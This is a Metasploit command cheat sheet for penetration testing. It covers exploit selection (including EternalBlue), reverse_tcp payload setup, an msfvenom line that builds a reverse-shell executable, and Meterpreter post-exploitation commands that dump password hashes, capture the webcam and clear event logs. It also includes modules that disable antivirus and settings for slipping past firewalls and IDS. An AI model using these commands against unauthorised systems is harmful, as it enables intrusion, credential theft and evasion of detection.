Starting Metasploit
| Command | Description |
|---|---|
msfconsole | Start Metasploit Framework |
msfupdate | Update the Metasploit Framework |
msfd | Run the Metasploit Daemon |
msfvenom | Standalone payload generator |
Basic Commands
| Command | Description |
|---|---|
search <keyword> | Search for modules using a keyword |
use <module> | Select a module (e.g., use exploit/windows/smb/ms17_010_eternalblue) |
info <module> | Show information about a specific module |
show options | Display the module's configurable options |
set <option> <value> | Set a specific option for the module |
unset <option> | Unset an option (remove its value) |
show payloads | List available payloads for the selected exploit |
show targets | Show possible target systems for the selected exploit |
set TARGET <id> | Set the specific target for the exploit |
check | Verify if the target is vulnerable to the selected exploit |
exploit | Launch the selected exploit |
run | Execute the current module (alias for exploit) |
Payloads and Exploit Execution
| Command | Description |
|---|---|
set PAYLOAD <payload> | Set the payload for the exploit (e.g., set PAYLOAD windows/meterpreter/reverse_tcp) |
set LHOST <IP> | Set the local host (attacker's IP address) |
set LPORT <port> | Set the local port for the reverse connection |
set RHOST <IP> | Set the remote host (target IP) |
set RPORT <port> | Set the remote port for the target service |
jobs | List all running jobs |
jobs -K | Kill all running jobs |
sessions | List all active sessions |
sessions -i <id> | Interact with a specific session |
exit -y | Exit Metasploit framework |
Meterpreter Commands
| Command | Description |
|---|---|
background | Move the current session to the background |
sysinfo | Display system information of the compromised host |
getuid | Get the user ID of the session |
getsystem | Attempt to elevate privileges |
hashdump | Dump password hashes from the target |
screenshot | Take a screenshot of the target's desktop |
webcam_snap | Take a snapshot using the target's webcam |
shell | Drop into a command shell on the target |
download <file> | Download a file from the target |
upload <file> | Upload a file to the target |
clearev | Clear the target's event logs |
exit | Exit the Meterpreter session |
Generating Payloads with MSFVenom
| Command | Description |
|---|---|
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> -o <output file> | Generate a payload (e.g., msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe) |
msfvenom --list payloads | List all available payloads |
msfvenom --list formats | List all available output formats |
msfvenom --list encoders | List available encoders |
Post-Exploitation Modules
| Command | Description |
|---|---|
use post/windows/gather/credentials/enum_hashdump | Use post-exploitation module for dumping credentials |
use post/windows/manage/killav | Disable antivirus software on the target |
use post/multi/manage/autoroute | Add routes to compromised networks |
run post/windows/gather/checkvm | Check if the target is a virtual machine |
Auxiliary Modules
| Command | Description |
|---|---|
use auxiliary/scanner/portscan/tcp | Use the TCP port scanner module |
use auxiliary/scanner/ftp/ftp_version | FTP version detection scanner |
use auxiliary/scanner/http/http_version | HTTP version detection scanner |
use auxiliary/scanner/smb/smb_version | SMB version detection scanner |
Database Management
| Command | Description |
|---|---|
db_status | Check the status of the database |
workspace <name> | Switch between Metasploit workspaces |
hosts | List all discovered hosts |
services | List all discovered services |
vulns | List all known vulnerabilities |
loot | List all collected loot |
Bypassing Firewalls & IDS/IPS
| Command | Description |
|---|---|
setg LHOST <IP> | Set global LHOST value |
setg LPORT <port> | Set global LPORT value |
set PayloadUUIDTracking true | Enable UUID tracking for the payload |
set AutoRunScript <script> | Automatically run a script when a session opens |
set ReverseAllowProxy true | Enable reverse connections through proxies |
